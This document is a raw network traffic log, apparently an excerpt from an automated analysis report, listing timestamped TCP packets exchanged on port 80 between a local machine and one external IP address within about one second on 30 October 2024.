Oct 30, 2024 12:36:51.720280886 CET	49747	80	192.168.2.4	185.215.113.16
Oct 30, 2024 12:36:51.720283031 CET	80	49747	185.215.113.16	192.168.2.4
Oct 30, 2024 12:36:51.720293045 CET	80	49747	185.215.113.16	192.168.2.4
Oct 30, 2024 12:36:51.720297098 CET	49747	80	192.168.2.4	185.215.113.16
Oct 30, 2024 12:36:51.720304012 CET	80	49747	185.215.113.16	192.168.2.4
Oct 30, 2024 12:36:51.720326900 CET	49747	80	192.168.2.4	185.215.113.16
Oct 30, 2024 12:36:51.720354080 CET	49747	80	192.168.2.4	185.215.113.16
Oct 30, 2024 12:36:51.720377922 CET	80	49747	185.215.113.16	192.168.2.4
Oct 30, 2024 12:36:51.720388889 CET	80	49747	185.215.113.16	192.168.2.4
Oct 30, 2024 12:36:51.720398903 CET	80	49747	185.215.113.16	192.168.2.4
Oct 30, 2024 12:36:51.720416069 CET	49747	80	192.168.2.4	185.215.113.16
Oct 30, 2024 12:36:51.720426083 CET	80	49747	185.215.113.16	192.168.2.4
Oct 30, 2024 12:36:51.720433950 CET	49747	80	192.168.2.4	185.215.113.16
Oct 30, 2024 12:36:51.720437050 CET	80	49747	185.215.113.16	192.168.2.4
Oct 30, 2024 12:36:51.720448017 CET	80	49747	185.215.113.16	192.168.2.4
Oct 30, 2024 12:36:51.720458031 CET	80	49747	185.215.113.16	192.168.2.4
Oct 30, 2024 12:36:51.720458984 CET	49747	80	192.168.2.4	185.215.113.16
Oct 30, 2024 12:36:51.720488071 CET	49747	80	192.168.2.4	185.215.113.16
Oct 30, 2024 12:36:51.720496893 CET	80	49747	185.215.113.16	192.168.2.4
Oct 30, 2024 12:36:51.720508099 CET	80	49747	185.215.113.16	192.168.2.4
Oct 30, 2024 12:36:51.720511913 CET	49747	80	192.168.2.4	185.215.113.16
Oct 30, 2024 12:36:51.720518112 CET	80	49747	185.215.113.16	192.168.2.4
Oct 30, 2024 12:36:51.720537901 CET	49747	80	192.168.2.4	185.215.113.16
Oct 30, 2024 12:36:51.720545053 CET	80	49747	185.215.113.16	192.168.2.4
Oct 30, 2024 12:36:51.720551014 CET	49747	80	192.168.2.4	185.215.113.16
Oct 30, 2024 12:36:51.720556021 CET	80	49747	185.215.113.16	192.168.2.4
Oct 30, 2024 12:36:51.720566988 CET	80	49747	185.215.113.16	192.168.2.4
Oct 30, 2024 12:36:51.720577955 CET	80	49747	185.215.113.16	192.168.2.4
Oct 30, 2024 12:36:51.720587015 CET	49747	80	192.168.2.4	185.215.113.16
Oct 30, 2024 12:36:51.720598936 CET	49747	80	192.168.2.4	185.215.113.16
Oct 30, 2024 12:36:51.720628023 CET	49747	80	192.168.2.4	185.215.113.16
Oct 30, 2024 12:36:51.720820904 CET	80	49747	185.215.113.16	192.168.2.4
Oct 30, 2024 12:36:51.720830917 CET	80	49747	185.215.113.16	192.168.2.4
Oct 30, 2024 12:36:51.720874071 CET	80	49747	185.215.113.16	192.168.2.4
Oct 30, 2024 12:36:51.720880032 CET	49747	80	192.168.2.4	185.215.113.16
Oct 30, 2024 12:36:51.720882893 CET	80	49747	185.215.113.16	192.168.2.4
Oct 30, 2024 12:36:51.720911980 CET	49747	80	192.168.2.4	185.215.113.16
Oct 30, 2024 12:36:51.720932007 CET	80	49747	185.215.113.16	192.168.2.4
Oct 30, 2024 12:36:51.720952988 CET	80	49747	185.215.113.16	192.168.2.4
Oct 30, 2024 12:36:51.720967054 CET	49747	80	192.168.2.4	185.215.113.16
Oct 30, 2024 12:36:51.720998049 CET	49747	80	192.168.2.4	185.215.113.16
Oct 30, 2024 12:36:51.721323013 CET	80	49747	185.215.113.16	192.168.2.4
Oct 30, 2024 12:36:51.721395969 CET	80	49747	185.215.113.16	192.168.2.4
Oct 30, 2024 12:36:51.721405983 CET	80	49747	185.215.113.16	192.168.2.4
Oct 30, 2024 12:36:51.721421957 CET	80	49747	185.215.113.16	192.168.2.4
Oct 30, 2024 12:36:51.721438885 CET	80	49747	185.215.113.16	192.168.2.4
Oct 30, 2024 12:36:51.721450090 CET	80	49747	185.215.113.16	192.168.2.4
Oct 30, 2024 12:36:51.721453905 CET	49747	80	192.168.2.4	185.215.113.16
Oct 30, 2024 12:36:51.721460104 CET	80	49747	185.215.113.16	192.168.2.4
Oct 30, 2024 12:36:51.721472025 CET	49747	80	192.168.2.4	185.215.113.16
Oct 30, 2024 12:36:51.721472979 CET	80	49747	185.215.113.16	192.168.2.4
Oct 30, 2024 12:36:51.721498013 CET	49747	80	192.168.2.4	185.215.113.16
Oct 30, 2024 12:36:51.721512079 CET	49747	80	192.168.2.4	185.215.113.16
Oct 30, 2024 12:36:51.721517086 CET	80	49747	185.215.113.16	192.168.2.4
Oct 30, 2024 12:36:51.721528053 CET	80	49747	185.215.113.16	192.168.2.4
Oct 30, 2024 12:36:51.721538067 CET	80	49747	185.215.113.16	192.168.2.4
Oct 30, 2024 12:36:51.721554995 CET	80	49747	185.215.113.16	192.168.2.4
Oct 30, 2024 12:36:51.721556902 CET	49747	80	192.168.2.4	185.215.113.16
Oct 30, 2024 12:36:51.721565008 CET	80	49747	185.215.113.16	192.168.2.4
Oct 30, 2024 12:36:51.721575975 CET	49747	80	192.168.2.4	185.215.113.16
Oct 30, 2024 12:36:51.721575975 CET	80	49747	185.215.113.16	192.168.2.4
Oct 30, 2024 12:36:51.721586943 CET	80	49747	185.215.113.16	192.168.2.4
Oct 30, 2024 12:36:51.721596003 CET	80	49747	185.215.113.16	192.168.2.4
Oct 30, 2024 12:36:51.721601009 CET	49747	80	192.168.2.4	185.215.113.16
Oct 30, 2024 12:36:51.721618891 CET	49747	80	192.168.2.4	185.215.113.16
Oct 30, 2024 12:36:51.721627951 CET	49747	80	192.168.2.4	185.215.113.16
Oct 30, 2024 12:36:51.721738100 CET	80	49747	185.215.113.16	192.168.2.4
Oct 30, 2024 12:36:51.721772909 CET	80	49747	185.215.113.16	192.168.2.4
Oct 30, 2024 12:36:51.721782923 CET	49747	80	192.168.2.4	185.215.113.16
Oct 30, 2024 12:36:51.721784115 CET	80	49747	185.215.113.16	192.168.2.4
Oct 30, 2024 12:36:51.721803904 CET	49747	80	192.168.2.4	185.215.113.16
Oct 30, 2024 12:36:51.721824884 CET	49747	80	192.168.2.4	185.215.113.16
Oct 30, 2024 12:36:51.721827984 CET	80	49747	185.215.113.16	192.168.2.4
Oct 30, 2024 12:36:51.721838951 CET	80	49747	185.215.113.16	192.168.2.4
Oct 30, 2024 12:36:51.721851110 CET	80	49747	185.215.113.16	192.168.2.4
Oct 30, 2024 12:36:51.721864939 CET	49747	80	192.168.2.4	185.215.113.16
Oct 30, 2024 12:36:51.721879959 CET	49747	80	192.168.2.4	185.215.113.16
Oct 30, 2024 12:36:51.721904993 CET	80	49747	185.215.113.16	192.168.2.4
Oct 30, 2024 12:36:51.721915960 CET	80	49747	185.215.113.16	192.168.2.4
Oct 30, 2024 12:36:51.721952915 CET	49747	80	192.168.2.4	185.215.113.16
Oct 30, 2024 12:36:51.721962929 CET	80	49747	185.215.113.16	192.168.2.4
Oct 30, 2024 12:36:51.721972942 CET	80	49747	185.215.113.16	192.168.2.4
Oct 30, 2024 12:36:51.721983910 CET	80	49747	185.215.113.16	192.168.2.4
Oct 30, 2024 12:36:51.722011089 CET	49747	80	192.168.2.4	185.215.113.16
Oct 30, 2024 12:36:51.722033024 CET	49747	80	192.168.2.4	185.215.113.16
Oct 30, 2024 12:36:51.722037077 CET	80	49747	185.215.113.16	192.168.2.4
Oct 30, 2024 12:36:51.722048044 CET	80	49747	185.215.113.16	192.168.2.4
Oct 30, 2024 12:36:51.722058058 CET	80	49747	185.215.113.16	192.168.2.4
Oct 30, 2024 12:36:51.722069979 CET	80	49747	185.215.113.16	192.168.2.4
Oct 30, 2024 12:36:51.722080946 CET	49747	80	192.168.2.4	185.215.113.16
Oct 30, 2024 12:36:51.722081900 CET	80	49747	185.215.113.16	192.168.2.4
Oct 30, 2024 12:36:51.722107887 CET	49747	80	192.168.2.4	185.215.113.16
Oct 30, 2024 12:36:51.722115993 CET	49747	80	192.168.2.4	185.215.113.16
Oct 30, 2024 12:36:51.722423077 CET	80	49747	185.215.113.16	192.168.2.4
Oct 30, 2024 12:36:51.722470999 CET	49747	80	192.168.2.4	185.215.113.16
Oct 30, 2024 12:36:51.722527981 CET	80	49747	185.215.113.16	192.168.2.4
Oct 30, 2024 12:36:51.722538948 CET	80	49747	185.215.113.16	192.168.2.4
Oct 30, 2024 12:36:51.722551107 CET	80	49747	185.215.113.16	192.168.2.4
Oct 30, 2024 12:36:51.722563028 CET	80	49747	185.215.113.16	192.168.2.4
Oct 30, 2024 12:36:51.722573042 CET	80	49747	185.215.113.16	192.168.2.4
Oct 30, 2024 12:36:51.722579956 CET	49747	80	192.168.2.4	185.215.113.16
Oct 30, 2024 12:36:51.722584009 CET	80	49747	185.215.113.16	192.168.2.4
Oct 30, 2024 12:36:51.722600937 CET	80	49747	185.215.113.16	192.168.2.4
Oct 30, 2024 12:36:51.722604990 CET	49747	80	192.168.2.4	185.215.113.16
Oct 30, 2024 12:36:51.722610950 CET	80	49747	185.215.113.16	192.168.2.4
Oct 30, 2024 12:36:51.722621918 CET	80	49747	185.215.113.16	192.168.2.4
Oct 30, 2024 12:36:51.722624063 CET	49747	80	192.168.2.4	185.215.113.16
Oct 30, 2024 12:36:51.722628117 CET	80	49747	185.215.113.16	192.168.2.4
Oct 30, 2024 12:36:51.722639084 CET	80	49747	185.215.113.16	192.168.2.4
Oct 30, 2024 12:36:51.722639084 CET	49747	80	192.168.2.4	185.215.113.16
Oct 30, 2024 12:36:51.722671986 CET	49747	80	192.168.2.4	185.215.113.16
Oct 30, 2024 12:36:51.722696066 CET	49747	80	192.168.2.4	185.215.113.16
Oct 30, 2024 12:36:51.722703934 CET	80	49747	185.215.113.16	192.168.2.4
Oct 30, 2024 12:36:51.722714901 CET	80	49747	185.215.113.16	192.168.2.4
Oct 30, 2024 12:36:51.722723961 CET	80	49747	185.215.113.16	192.168.2.4
Oct 30, 2024 12:36:51.722737074 CET	80	49747	185.215.113.16	192.168.2.4
Oct 30, 2024 12:36:51.722748041 CET	49747	80	192.168.2.4	185.215.113.16
Oct 30, 2024 12:36:51.722749949 CET	80	49747	185.215.113.16	192.168.2.4
Oct 30, 2024 12:36:51.722759962 CET	80	49747	185.215.113.16	192.168.2.4
Oct 30, 2024 12:36:51.722771883 CET	80	49747	185.215.113.16	192.168.2.4
Oct 30, 2024 12:36:51.722775936 CET	49747	80	192.168.2.4	185.215.113.16
Oct 30, 2024 12:36:51.722781897 CET	80	49747	185.215.113.16	192.168.2.4
Oct 30, 2024 12:36:51.722788095 CET	49747	80	192.168.2.4	185.215.113.16
Oct 30, 2024 12:36:51.722794056 CET	80	49747	185.215.113.16	192.168.2.4
Oct 30, 2024 12:36:51.722817898 CET	49747	80	192.168.2.4	185.215.113.16
Oct 30, 2024 12:36:51.722841978 CET	49747	80	192.168.2.4	185.215.113.16
Oct 30, 2024 12:36:51.722980022 CET	80	49747	185.215.113.16	192.168.2.4
Oct 30, 2024 12:36:51.723023891 CET	49747	80	192.168.2.4	185.215.113.16
Oct 30, 2024 12:36:51.723095894 CET	80	49747	185.215.113.16	192.168.2.4
Oct 30, 2024 12:36:51.723108053 CET	80	49747	185.215.113.16	192.168.2.4
Oct 30, 2024 12:36:51.723118067 CET	80	49747	185.215.113.16	192.168.2.4
Oct 30, 2024 12:36:51.723128080 CET	80	49747	185.215.113.16	192.168.2.4
Oct 30, 2024 12:36:51.723138094 CET	49747	80	192.168.2.4	185.215.113.16
Oct 30, 2024 12:36:51.723146915 CET	80	49747	185.215.113.16	192.168.2.4
Oct 30, 2024 12:36:51.723157883 CET	80	49747	185.215.113.16	192.168.2.4
Oct 30, 2024 12:36:51.723167896 CET	80	49747	185.215.113.16	192.168.2.4
Oct 30, 2024 12:36:51.723170996 CET	49747	80	192.168.2.4	185.215.113.16
Oct 30, 2024 12:36:51.723179102 CET	80	49747	185.215.113.16	192.168.2.4
Oct 30, 2024 12:36:51.723185062 CET	80	49747	185.215.113.16	192.168.2.4
Oct 30, 2024 12:36:51.723189116 CET	49747	80	192.168.2.4	185.215.113.16
Oct 30, 2024 12:36:51.723190069 CET	80	49747	185.215.113.16	192.168.2.4
Oct 30, 2024 12:36:51.723201036 CET	80	49747	185.215.113.16	192.168.2.4
Oct 30, 2024 12:36:51.723211050 CET	80	49747	185.215.113.16	192.168.2.4
Oct 30, 2024 12:36:51.723222971 CET	49747	80	192.168.2.4	185.215.113.16
Oct 30, 2024 12:36:51.723237038 CET	80	49747	185.215.113.16	192.168.2.4
Oct 30, 2024 12:36:51.723241091 CET	49747	80	192.168.2.4	185.215.113.16
Oct 30, 2024 12:36:51.723247051 CET	80	49747	185.215.113.16	192.168.2.4
Oct 30, 2024 12:36:51.723257065 CET	80	49747	185.215.113.16	192.168.2.4
Oct 30, 2024 12:36:51.723263025 CET	49747	80	192.168.2.4	185.215.113.16
Oct 30, 2024 12:36:51.723270893 CET	80	49747	185.215.113.16	192.168.2.4
Oct 30, 2024 12:36:51.723287106 CET	49747	80	192.168.2.4	185.215.113.16
Oct 30, 2024 12:36:51.723306894 CET	49747	80	192.168.2.4	185.215.113.16
Oct 30, 2024 12:36:51.723365068 CET	80	49747	185.215.113.16	192.168.2.4
Oct 30, 2024 12:36:51.723376036 CET	80	49747	185.215.113.16	192.168.2.4
Oct 30, 2024 12:36:51.723386049 CET	80	49747	185.215.113.16	192.168.2.4
Oct 30, 2024 12:36:51.723396063 CET	80	49747	185.215.113.16	192.168.2.4
Oct 30, 2024 12:36:51.723407030 CET	80	49747	185.215.113.16	192.168.2.4
Oct 30, 2024 12:36:51.723412991 CET	49747	80	192.168.2.4	185.215.113.16
Oct 30, 2024 12:36:51.723428965 CET	49747	80	192.168.2.4	185.215.113.16
Oct 30, 2024 12:36:51.723443985 CET	49747	80	192.168.2.4	185.215.113.16
Oct 30, 2024 12:36:51.723577976 CET	80	49747	185.215.113.16	192.168.2.4
Oct 30, 2024 12:36:51.723589897 CET	80	49747	185.215.113.16	192.168.2.4
Oct 30, 2024 12:36:51.723599911 CET	80	49747	185.215.113.16	192.168.2.4
Oct 30, 2024 12:36:51.723617077 CET	80	49747	185.215.113.16	192.168.2.4
Oct 30, 2024 12:36:51.723623037 CET	49747	80	192.168.2.4	185.215.113.16
Oct 30, 2024 12:36:51.723629951 CET	80	49747	185.215.113.16	192.168.2.4
Oct 30, 2024 12:36:51.723639965 CET	80	49747	185.215.113.16	192.168.2.4
Oct 30, 2024 12:36:51.723643064 CET	49747	80	192.168.2.4	185.215.113.16
Oct 30, 2024 12:36:51.723649025 CET	80	49747	185.215.113.16	192.168.2.4
Oct 30, 2024 12:36:51.723660946 CET	80	49747	185.215.113.16	192.168.2.4
Oct 30, 2024 12:36:51.723668098 CET	49747	80	192.168.2.4	185.215.113.16
Oct 30, 2024 12:36:51.723670959 CET	80	49747	185.215.113.16	192.168.2.4
Oct 30, 2024 12:36:51.723686934 CET	49747	80	192.168.2.4	185.215.113.16
Oct 30, 2024 12:36:51.723705053 CET	49747	80	192.168.2.4	185.215.113.16
Oct 30, 2024 12:36:51.723728895 CET	80	49747	185.215.113.16	192.168.2.4
Oct 30, 2024 12:36:51.723783016 CET	49747	80	192.168.2.4	185.215.113.16
Oct 30, 2024 12:36:51.723809958 CET	80	49747	185.215.113.16	192.168.2.4
Oct 30, 2024 12:36:51.723820925 CET	80	49747	185.215.113.16	192.168.2.4
Oct 30, 2024 12:36:51.723829985 CET	80	49747	185.215.113.16	192.168.2.4
Oct 30, 2024 12:36:51.723841906 CET	80	49747	185.215.113.16	192.168.2.4
Oct 30, 2024 12:36:51.723853111 CET	80	49747	185.215.113.16	192.168.2.4
Oct 30, 2024 12:36:51.723856926 CET	49747	80	192.168.2.4	185.215.113.16
Oct 30, 2024 12:36:51.723891020 CET	49747	80	192.168.2.4	185.215.113.16
Oct 30, 2024 12:36:51.724081993 CET	80	49747	185.215.113.16	192.168.2.4
Oct 30, 2024 12:36:51.724098921 CET	80	49747	185.215.113.16	192.168.2.4
Oct 30, 2024 12:36:51.724111080 CET	80	49747	185.215.113.16	192.168.2.4
Oct 30, 2024 12:36:51.724122047 CET	80	49747	185.215.113.16	192.168.2.4
Oct 30, 2024 12:36:51.724132061 CET	80	49747	185.215.113.16	192.168.2.4
Oct 30, 2024 12:36:51.724142075 CET	80	49747	185.215.113.16	192.168.2.4
Oct 30, 2024 12:36:51.724153996 CET	80	49747	185.215.113.16	192.168.2.4
Oct 30, 2024 12:36:51.724154949 CET	49747	80	192.168.2.4	185.215.113.16
Oct 30, 2024 12:36:51.724164963 CET	80	49747	185.215.113.16	192.168.2.4
Oct 30, 2024 12:36:51.724174023 CET	49747	80	192.168.2.4	185.215.113.16
Oct 30, 2024 12:36:51.724175930 CET	80	49747	185.215.113.16	192.168.2.4
Oct 30, 2024 12:36:51.724186897 CET	80	49747	185.215.113.16	192.168.2.4
Oct 30, 2024 12:36:51.724190950 CET	49747	80	192.168.2.4	185.215.113.16
Oct 30, 2024 12:36:51.724198103 CET	80	49747	185.215.113.16	192.168.2.4
Oct 30, 2024 12:36:51.724210024 CET	80	49747	185.215.113.16	192.168.2.4
Oct 30, 2024 12:36:51.724220991 CET	80	49747	185.215.113.16	192.168.2.4
Oct 30, 2024 12:36:51.724222898 CET	49747	80	192.168.2.4	185.215.113.16
Oct 30, 2024 12:36:51.724241018 CET	80	49747	185.215.113.16	192.168.2.4
Oct 30, 2024 12:36:51.724247932 CET	49747	80	192.168.2.4	185.215.113.16
Oct 30, 2024 12:36:51.724251986 CET	80	49747	185.215.113.16	192.168.2.4
Oct 30, 2024 12:36:51.724261999 CET	80	49747	185.215.113.16	192.168.2.4
Oct 30, 2024 12:36:51.724262953 CET	49747	80	192.168.2.4	185.215.113.16
Oct 30, 2024 12:36:51.724272013 CET	80	49747	185.215.113.16	192.168.2.4
Oct 30, 2024 12:36:51.724293947 CET	49747	80	192.168.2.4	185.215.113.16
Oct 30, 2024 12:36:51.724294901 CET	80	49747	185.215.113.16	192.168.2.4
Oct 30, 2024 12:36:51.724309921 CET	80	49747	185.215.113.16	192.168.2.4
Oct 30, 2024 12:36:51.724318027 CET	49747	80	192.168.2.4	185.215.113.16
Oct 30, 2024 12:36:51.724319935 CET	80	49747	185.215.113.16	192.168.2.4
Oct 30, 2024 12:36:51.724333048 CET	80	49747	185.215.113.16	192.168.2.4
Oct 30, 2024 12:36:51.724344015 CET	49747	80	192.168.2.4	185.215.113.16
Oct 30, 2024 12:36:51.724345922 CET	80	49747	185.215.113.16	192.168.2.4
Oct 30, 2024 12:36:51.724356890 CET	80	49747	185.215.113.16	192.168.2.4
Oct 30, 2024 12:36:51.724369049 CET	49747	80	192.168.2.4	185.215.113.16
Oct 30, 2024 12:36:51.724370003 CET	80	49747	185.215.113.16	192.168.2.4
Oct 30, 2024 12:36:51.724384069 CET	49747	80	192.168.2.4	185.215.113.16
Oct 30, 2024 12:36:51.724386930 CET	80	49747	185.215.113.16	192.168.2.4
Oct 30, 2024 12:36:51.724400043 CET	80	49747	185.215.113.16	192.168.2.4
Oct 30, 2024 12:36:51.724409103 CET	80	49747	185.215.113.16	192.168.2.4
Oct 30, 2024 12:36:51.724411011 CET	49747	80	192.168.2.4	185.215.113.16
Oct 30, 2024 12:36:51.724421024 CET	80	49747	185.215.113.16	192.168.2.4
Oct 30, 2024 12:36:51.724432945 CET	80	49747	185.215.113.16	192.168.2.4
Oct 30, 2024 12:36:51.724437952 CET	49747	80	192.168.2.4	185.215.113.16
Oct 30, 2024 12:36:51.724443913 CET	80	49747	185.215.113.16	192.168.2.4
Oct 30, 2024 12:36:51.724452019 CET	49747	80	192.168.2.4	185.215.113.16
Oct 30, 2024 12:36:51.724457026 CET	80	49747	185.215.113.16	192.168.2.4
Oct 30, 2024 12:36:51.724467993 CET	80	49747	185.215.113.16	192.168.2.4
Oct 30, 2024 12:36:51.724468946 CET	49747	80	192.168.2.4	185.215.113.16
Oct 30, 2024 12:36:51.724490881 CET	80	49747	185.215.113.16	192.168.2.4
Oct 30, 2024 12:36:51.724498987 CET	49747	80	192.168.2.4	185.215.113.16
Oct 30, 2024 12:36:51.724500895 CET	80	49747	185.215.113.16	192.168.2.4
Oct 30, 2024 12:36:51.724524021 CET	49747	80	192.168.2.4	185.215.113.16
Oct 30, 2024 12:36:51.724546909 CET	49747	80	192.168.2.4	185.215.113.16
Oct 30, 2024 12:36:51.724684000 CET	80	49747	185.215.113.16	192.168.2.4
Oct 30, 2024 12:36:51.724695921 CET	80	49747	185.215.113.16	192.168.2.4
Oct 30, 2024 12:36:51.724705935 CET	80	49747	185.215.113.16	192.168.2.4
Oct 30, 2024 12:36:51.724719048 CET	80	49747	185.215.113.16	192.168.2.4
Oct 30, 2024 12:36:51.724729061 CET	80	49747	185.215.113.16	192.168.2.4
Oct 30, 2024 12:36:51.724731922 CET	49747	80	192.168.2.4	185.215.113.16
Oct 30, 2024 12:36:51.724746943 CET	80	49747	185.215.113.16	192.168.2.4
Oct 30, 2024 12:36:51.724757910 CET	49747	80	192.168.2.4	185.215.113.16
Oct 30, 2024 12:36:51.724760056 CET	80	49747	185.215.113.16	192.168.2.4
Oct 30, 2024 12:36:51.724771023 CET	80	49747	185.215.113.16	192.168.2.4
Oct 30, 2024 12:36:51.724776983 CET	49747	80	192.168.2.4	185.215.113.16
Oct 30, 2024 12:36:51.724782944 CET	80	49747	185.215.113.16	192.168.2.4
Oct 30, 2024 12:36:51.724795103 CET	80	49747	185.215.113.16	192.168.2.4
Oct 30, 2024 12:36:51.724806070 CET	80	49747	185.215.113.16	192.168.2.4
Oct 30, 2024 12:36:51.724812031 CET	49747	80	192.168.2.4	185.215.113.16
Oct 30, 2024 12:36:51.724817038 CET	80	49747	185.215.113.16	192.168.2.4
Oct 30, 2024 12:36:51.724827051 CET	80	49747	185.215.113.16	192.168.2.4
Oct 30, 2024 12:36:51.724834919 CET	49747	80	192.168.2.4	185.215.113.16
Oct 30, 2024 12:36:51.724837065 CET	80	49747	185.215.113.16	192.168.2.4
Oct 30, 2024 12:36:51.724848032 CET	80	49747	185.215.113.16	192.168.2.4
Oct 30, 2024 12:36:51.724854946 CET	49747	80	192.168.2.4	185.215.113.16
Oct 30, 2024 12:36:51.724859953 CET	80	49747	185.215.113.16	192.168.2.4
Oct 30, 2024 12:36:51.724864006 CET	49747	80	192.168.2.4	185.215.113.16
Oct 30, 2024 12:36:51.724872112 CET	80	49747	185.215.113.16	192.168.2.4
Oct 30, 2024 12:36:51.724895954 CET	49747	80	192.168.2.4	185.215.113.16
Oct 30, 2024 12:36:51.724920988 CET	49747	80	192.168.2.4	185.215.113.16
Oct 30, 2024 12:36:51.724935055 CET	80	49747	185.215.113.16	192.168.2.4
Oct 30, 2024 12:36:51.724972963 CET	49747	80	192.168.2.4	185.215.113.16
Oct 30, 2024 12:36:51.789443016 CET	80	49747	185.215.113.16	192.168.2.4
Oct 30, 2024 12:36:51.789458036 CET	80	49747	185.215.113.16	192.168.2.4
Oct 30, 2024 12:36:51.789469957 CET	80	49747	185.215.113.16	192.168.2.4
Oct 30, 2024 12:36:51.789485931 CET	80	49747	185.215.113.16	192.168.2.4
Oct 30, 2024 12:36:51.789494991 CET	49747	80	192.168.2.4	185.215.113.16
Oct 30, 2024 12:36:51.789496899 CET	80	49747	185.215.113.16	192.168.2.4
Oct 30, 2024 12:36:51.789508104 CET	80	49747	185.215.113.16	192.168.2.4
Oct 30, 2024 12:36:51.789518118 CET	80	49747	185.215.113.16	192.168.2.4
Oct 30, 2024 12:36:51.789526939 CET	49747	80	192.168.2.4	185.215.113.16
Oct 30, 2024 12:36:51.789530993 CET	80	49747	185.215.113.16	192.168.2.4
Oct 30, 2024 12:36:51.789542913 CET	80	49747	185.215.113.16	192.168.2.4
Oct 30, 2024 12:36:51.789546967 CET	49747	80	192.168.2.4	185.215.113.16
Oct 30, 2024 12:36:51.789552927 CET	80	49747	185.215.113.16	192.168.2.4
Oct 30, 2024 12:36:51.789563894 CET	80	49747	185.215.113.16	192.168.2.4
Oct 30, 2024 12:36:51.789568901 CET	49747	80	192.168.2.4	185.215.113.16
Oct 30, 2024 12:36:51.789573908 CET	80	49747	185.215.113.16	192.168.2.4
Oct 30, 2024 12:36:51.789594889 CET	49747	80	192.168.2.4	185.215.113.16
Oct 30, 2024 12:36:51.789618015 CET	80	49747	185.215.113.16	192.168.2.4
Oct 30, 2024 12:36:51.789618969 CET	49747	80	192.168.2.4	185.215.113.16
Oct 30, 2024 12:36:51.789629936 CET	80	49747	185.215.113.16	192.168.2.4
Oct 30, 2024 12:36:51.789638042 CET	80	49747	185.215.113.16	192.168.2.4
Oct 30, 2024 12:36:51.789647102 CET	80	49747	185.215.113.16	192.168.2.4
Oct 30, 2024 12:36:51.789652109 CET	49747	80	192.168.2.4	185.215.113.16
Oct 30, 2024 12:36:51.789655924 CET	80	49747	185.215.113.16	192.168.2.4
Oct 30, 2024 12:36:51.789665937 CET	80	49747	185.215.113.16	192.168.2.4
Oct 30, 2024 12:36:51.789675951 CET	80	49747	185.215.113.16	192.168.2.4
Oct 30, 2024 12:36:51.789676905 CET	49747	80	192.168.2.4	185.215.113.16
Oct 30, 2024 12:36:51.789700985 CET	49747	80	192.168.2.4	185.215.113.16
Oct 30, 2024 12:36:51.789711952 CET	49747	80	192.168.2.4	185.215.113.16
Oct 30, 2024 12:36:51.789897919 CET	80	49747	185.215.113.16	192.168.2.4
Oct 30, 2024 12:36:51.789937019 CET	49747	80	192.168.2.4	185.215.113.16
Oct 30, 2024 12:36:51.789964914 CET	80	49747	185.215.113.16	192.168.2.4
Oct 30, 2024 12:36:51.790002108 CET	49747	80	192.168.2.4	185.215.113.16
Oct 30, 2024 12:36:51.790069103 CET	80	49747	185.215.113.16	192.168.2.4
Oct 30, 2024 12:36:51.790123940 CET	49747	80	192.168.2.4	185.215.113.16
Oct 30, 2024 12:36:51.790142059 CET	80	49747	185.215.113.16	192.168.2.4
Oct 30, 2024 12:36:51.790182114 CET	49747	80	192.168.2.4	185.215.113.16
Oct 30, 2024 12:36:51.790199041 CET	80	49747	185.215.113.16	192.168.2.4
Oct 30, 2024 12:36:51.790208101 CET	80	49747	185.215.113.16	192.168.2.4
Oct 30, 2024 12:36:51.790218115 CET	80	49747	185.215.113.16	192.168.2.4
Oct 30, 2024 12:36:51.790230989 CET	49747	80	192.168.2.4	185.215.113.16
Oct 30, 2024 12:36:51.790235996 CET	80	49747	185.215.113.16	192.168.2.4
Oct 30, 2024 12:36:51.790241957 CET	49747	80	192.168.2.4	185.215.113.16
Oct 30, 2024 12:36:51.790266037 CET	49747	80	192.168.2.4	185.215.113.16
Oct 30, 2024 12:36:51.790275097 CET	49747	80	192.168.2.4	185.215.113.16
Oct 30, 2024 12:36:51.832912922 CET	80	49747	185.215.113.16	192.168.2.4
Oct 30, 2024 12:36:51.832925081 CET	80	49747	185.215.113.16	192.168.2.4
Oct 30, 2024 12:36:51.832936049 CET	80	49747	185.215.113.16	192.168.2.4
Oct 30, 2024 12:36:51.832967043 CET	49747	80	192.168.2.4	185.215.113.16
Oct 30, 2024 12:36:51.833002090 CET	49747	80	192.168.2.4	185.215.113.16
Oct 30, 2024 12:36:51.833096027 CET	80	49747	185.215.113.16	192.168.2.4
Oct 30, 2024 12:36:51.833112955 CET	80	49747	185.215.113.16	192.168.2.4
Oct 30, 2024 12:36:51.833125114 CET	80	49747	185.215.113.16	192.168.2.4
Oct 30, 2024 12:36:51.833137035 CET	80	49747	185.215.113.16	192.168.2.4
Oct 30, 2024 12:36:51.833147049 CET	49747	80	192.168.2.4	185.215.113.16
Oct 30, 2024 12:36:51.833153963 CET	80	49747	185.215.113.16	192.168.2.4
Oct 30, 2024 12:36:51.833159924 CET	80	49747	185.215.113.16	192.168.2.4
Oct 30, 2024 12:36:51.833165884 CET	80	49747	185.215.113.16	192.168.2.4
Oct 30, 2024 12:36:51.833174944 CET	49747	80	192.168.2.4	185.215.113.16
Oct 30, 2024 12:36:51.833175898 CET	80	49747	185.215.113.16	192.168.2.4
Oct 30, 2024 12:36:51.833188057 CET	80	49747	185.215.113.16	192.168.2.4
Oct 30, 2024 12:36:51.833194017 CET	49747	80	192.168.2.4	185.215.113.16
Oct 30, 2024 12:36:51.833199978 CET	80	49747	185.215.113.16	192.168.2.4
Oct 30, 2024 12:36:51.833208084 CET	49747	80	192.168.2.4	185.215.113.16
Oct 30, 2024 12:36:51.833211899 CET	80	49747	185.215.113.16	192.168.2.4
Oct 30, 2024 12:36:51.833224058 CET	80	49747	185.215.113.16	192.168.2.4
Oct 30, 2024 12:36:51.833228111 CET	49747	80	192.168.2.4	185.215.113.16
Oct 30, 2024 12:36:51.833234072 CET	80	49747	185.215.113.16	192.168.2.4
Oct 30, 2024 12:36:51.833246946 CET	80	49747	185.215.113.16	192.168.2.4
Oct 30, 2024 12:36:51.833256006 CET	80	49747	185.215.113.16	192.168.2.4
Oct 30, 2024 12:36:51.833255053 CET	49747	80	192.168.2.4	185.215.113.16
Oct 30, 2024 12:36:51.833285093 CET	49747	80	192.168.2.4	185.215.113.16
Oct 30, 2024 12:36:51.833287001 CET	80	49747	185.215.113.16	192.168.2.4
Oct 30, 2024 12:36:51.833297968 CET	80	49747	185.215.113.16	192.168.2.4
Oct 30, 2024 12:36:51.833307981 CET	80	49747	185.215.113.16	192.168.2.4
Oct 30, 2024 12:36:51.833308935 CET	49747	80	192.168.2.4	185.215.113.16
Oct 30, 2024 12:36:51.833345890 CET	49747	80	192.168.2.4	185.215.113.16
